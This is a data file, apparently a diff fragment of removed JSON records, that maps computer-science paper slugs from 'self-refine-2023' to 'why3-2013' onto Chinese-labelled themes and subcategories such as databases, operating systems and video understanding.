-{"slug":"self-refine-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"selinger-1979","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"selinux-2001","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"seq2seq-2014","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"sequel-1974","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"sequential-consistency-1979","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"server-sent-events","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"前端","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"sglang-2024","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"sgx-2013","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"shannon-1948","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"信息论","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"sharegpt4video-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"shellcheck","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"infrastructure","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"shenango-2019","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"shokri-mia-2017","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"siglip-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"多模态 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"sillito-questions","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"silt-2011","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"simhash-charikar-2002","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"simrank-2002","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"simula-67","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"sinfonia-2007","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"skcc-skill-compiler","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"skeen-3pc-1981","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"skill-as-pseudocode","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"skill-pro-nonparametric-ppo","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"skill-sd-self-distillation","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"skip-list-1990","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"skip-locked-postgres-9.5","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"后端","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"slab-1994","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"slam-microsoft","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"sleeper-agents","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 安全","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"slim-2011","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"smalltalk-80","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"smoothquant-2023","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"smr-1990","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"snap-2019","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"snowflake-2016","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"soft-updates-1999","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"soltesz-2007","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"sophia-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"sorkine-2004-laplacian-editing","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"souffle-datalog","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"spacevllm-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"spann-2021","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"spanner-2012","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"spanner","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统 / 数据库","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"sparrow-2013","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"sparse-autoencoders","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 可解释性","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"sparsegpt-2023","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"specinfer-2023","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"splade-2021","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"sprite-1988","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"sqlite-2022","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"ssa","area":"papers","theme":"编译器","themeId":"compilers","subcategory":"编译器","source":"category","confidence":"high","rawCategory":"编译器"} -{"slug":"st-llm-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"stable-diffusion","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"生成模型","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"stainless-2017","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"stam-1999-stable-fluids","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"standard-ml","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"starcoder-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"starrocks","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"infrastructure","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"steensgaard-pointer","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"stm-shavit-touitou","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"stonebraker-2010-sqlnosql","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"streamingbench-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"strongtalk","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"stylegan2-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"subramanian-2002-internet-hierarchy","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"sulsky-1994-mpm","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"swe-agent","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"swe-bench","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI / 软件工程","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"sweeney-k-anonymity-2002","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"sycl-cpp-2020","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"sycophancy-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"system-f-reynolds-1974","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"system-r-1976","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"szegedy-adversarial-2013","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"t0-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"t5","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"NLP","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"ta-stvg-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"tabpfn-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"tachyon-2014","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"tamarin-2012","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"tao-2013","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"taso-2019","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"taubin-1995-mesh-smoothing","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"tcp-vegas-1995","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"tcp","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络","source":"category","confidence":"high","rawCategory":"网络协议"} -{"slug":"td3-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"tempcompass-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"template-haskell","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"tendermint-2016","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"tensorflow-osdi-2016","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"tensorrt-llm-2023","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"tesla-architecture-2008","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"the-os-1968","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"theorems-for-free","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"thrust-2010","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"tidb-2020","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"tigerbeetle","area":"papers","theme":"数据库","themeId":"databases","subcategory":"数据库","source":"category","confidence":"high","rawCategory":"数据库"} -{"slug":"timechat-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"timelinejs","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"基础设施","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"timemarker-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"tla-yu-tlc-1999","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"tls-1.3","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"category","confidence":"high","rawCategory":"网络协议"} -{"slug":"tofte-talpin-regions","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"token-bucket-stripe","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"后端工程","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"tomasulo-1967","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"tomita-glr","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"toolformer","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"tor-2004","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"toy-models-superposition","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 可解释性","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"trace-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"tracemonkey","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"transformer-xl-2019","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"traveler-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"tree-of-thoughts-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"trees-that-grow","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"trill-2014","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"triton-2019","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"triton-llm","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"trustrank-2004","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"turchin-supercompilation","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"turing-1936","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"计算理论","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"turing-architecture-2018","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"tvm-2018","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"tvm","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"twine-2020","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"unified-memory-2014","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"univtg-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"unix-1974","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"uvtg-mllm-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"v-system-1988","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"vall-e-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"vamp-verisoft-2006","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"vcc-2009","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"veach-1995-mis","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"veach-1997-mlt","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"vega-lite","area":"papers","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"category","confidence":"high","rawCategory":"数据可视化"} -{"slug":"vellvm","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"verdi-2015","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"verisoft-2008","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"vertica-2012","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"vid-llm-survey-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"video-chatgpt-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"video-llama-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"video-llava-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videoagent-longform-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videoagent-memory-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videochat-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videochat-flash-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videollama2-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videollama3-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videollm-online-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videomme-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"videoprism-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vidstg-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vinoground-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vit","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"计算机视觉","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vl2-2009","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"vllm","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vogels-eventual-2009","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"volcano-1994","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"volcano","area":"papers","theme":"数据库","themeId":"databases","subcategory":"数据库","source":"category","confidence":"high","rawCategory":"数据库"} -{"slug":"volta-architecture-2017","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"voyager","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vr-1988","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"vr-revisited-2012","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"vsi-bench-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vslnet-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vst-2014","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"vtg-llm-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"vtimellm-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"wadler-prettier","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"wald-2007-sah-bvh","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"wam-warren","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"wandb","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"基础设施","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"wang-2014-spdy","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"ward-1992","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"websocket-rfc-6455","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"category","confidence":"high","rawCategory":"网络协议"} -{"slug":"webxskill","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"whisper-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"whitted-1980","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"why3-2013","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} 